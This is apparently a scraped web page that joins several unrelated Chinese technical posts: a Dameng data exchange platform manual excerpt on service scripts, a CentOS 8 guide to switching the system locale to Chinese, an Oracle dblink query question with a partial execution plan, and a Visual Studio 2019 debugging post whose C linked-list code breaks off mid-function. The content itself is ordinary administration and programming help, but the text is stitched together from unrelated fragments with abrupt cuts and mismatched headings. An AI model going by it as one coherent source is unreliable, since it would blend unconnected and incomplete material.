dmetl_service_stop.bat:停止达梦数据交换平台操作系统服务; dmetl_service_restart.bat:重启达梦数据交换平台操作系统服务; install_dmetl_service.bat:手动安装服务; uninstall_dmetl_service.bat:卸载服务; 服务启动关闭 命令行方式启动关闭 1、在Windows平台下进入达梦数据交换平台的安装目录,执行server目录下的dmetl_start.bat 脚本文件,以命令行的方式启动服务器,过程如下图所示。 2、在 Linux 平台则执行 server 目录下的 dmetl_start.sh 脚本文件即可。 在命令行中输入 close 命令即可停止服务器并正常退出。 服务方式启动关闭 1、用户在开始菜单或者快捷方式目录中选择-“达梦数据交换平台软件 V4.0”-“达梦数据交换平台服务管理”中的快捷方式即可以服务的形式启动、停止或重启达梦数据交换平台软件服务。 2、也可以进入达梦数据交换平台安装目录,在 server 目录下执行对应的脚本文件来管理达梦数据交换平台服务,脚本功能参照之前说明。 启动客户端 1、用户通过开始菜单或者在快捷方式目录中选择-“达梦数据交换平台软件 V4.0”-“达梦数据交换设计器”快捷方式即可启动客户端。 2、也可以进入达梦数据交换平台安装目录,在 client 目录下,执行文件 studio.exe 启动客户端。

centos8修改中文支持

我在虚拟机默认安装的是最小安装包,并且选的英文,感觉还是不大方便,于是还是想安装回中文 查看字符集 locale命令可以查看当前所用字符集 locale -a可以查看本机安装的所有字符集 我检查我的字符集为en_US.UTF-8 安装的字符集中也没有中文 安装中文字符集 yum install -y langpacks-zh_CN 运行此命令即可安装中文字符集 其实也看得出来修改后面的.zh_CN就可安装其他的字符集 设置 大部分网络教程可能会提供修改 /etc/sysconfig/i18n/etc/locale.conf/etc/profile.d/lang.sh 经过我的本机实测 我安装的centOS8中并没有/etc/sysconfig/i18n文件 修改/etc/locale.conf后重启并不生效 找了很多文章 才发现需要修改/etc/profile.d/lang.sh 他的优先级比其他的都要高 在其中大概41行左右有这样的一段代码 我对于这些shell命令并不是很了解,但是登录也能看懂这是一个类似于switch的写法,不过是当LANG为中文时还是设置为en_US.UTF-8 只需把本行的en_US.UTF-8修改为zh_CN.UTF-8,并且重启服务器即可 中文已经修改成功了

oracle通过dblink查表卡住,关于通过dblink查询导致查询数据异常问题请教

两个SQL的执行计划确实存在较大的变化,如下为包含本地表的执行计划 PLAN_TABLE_OUTPUT ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Plan hash value: 3777546417 ------------------------------------------------------------------------------------------------------------ | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Inst |IN-OUT| ------------------------------------------------------------------------------------------------------------ | 0 | SELECT STATEMENT | | 1 | 64 | 5 (20)| 00:00:01 | | | |* 1 | COUNT STOPKEY | | | | | | | | | 2 | REMOTE | | 59 | 1829 | 60 (0)| 00:00:01 | DBLIN~ | R->S |

关于VS2019调试问题:进程已退出,代码为-1073741819(已解决)

关于VS2019调试问题:进程已退出,代码为-1073741819(已解决) 详情:上一篇发了这个进程问题,在我翻阅了《c语言程序设计第四版》和《算法与数据结构》两本书对照代码加上调试终于找到了解决方法 解决方法: 首先找到项目的源文件右击找到属性 然后选择从生成中排除选择是! 重新生成解决方案,发现代码问题: 之前的代码: #include <stdio.h> #include <stdlib.h> #include <malloc.h> #include <string.h> //创建链表 struct linknode { int data; struct linknode* next; }; //初始化链表->创建一个空链表 struct linknode* init_list() { //创建头结点 struct linknode* head = malloc(sizeof(struct linknode)); head->data = 0; head->next = NULL; //创建尾节点 struct linknode* p = head; //获得用户输入 int nodedata = 0; while (1) { printf("请输入值(输入等于0的值退出):"); scanf_s("%d", &nodedata); if (nodedata == 0) { break; } //创建新结点 struct linknode* newnode = malloc(sizeof(struct linknode)); newnode->data = nodedata; newnode->next = NULL; //把新结点插入链表中 p->next = newnode; //更新尾指针 p = newnode; } return head;//返回头节点即返回列表 } //在old_data值之后插入一个new_data值(在原来的结点后面串联一个新的结点) void addlist(struct linknode* head, int old_data, int new_data); //删除数据 void dellist(struct linknode* head, int deldata); //遍历打印链表 void showlist(struct linknode* head) { /*if (head == NULL) { return; }*/ struct linknode* p = head->next;//创建尾结点让他指向第一个空头结点的地址域 while (p !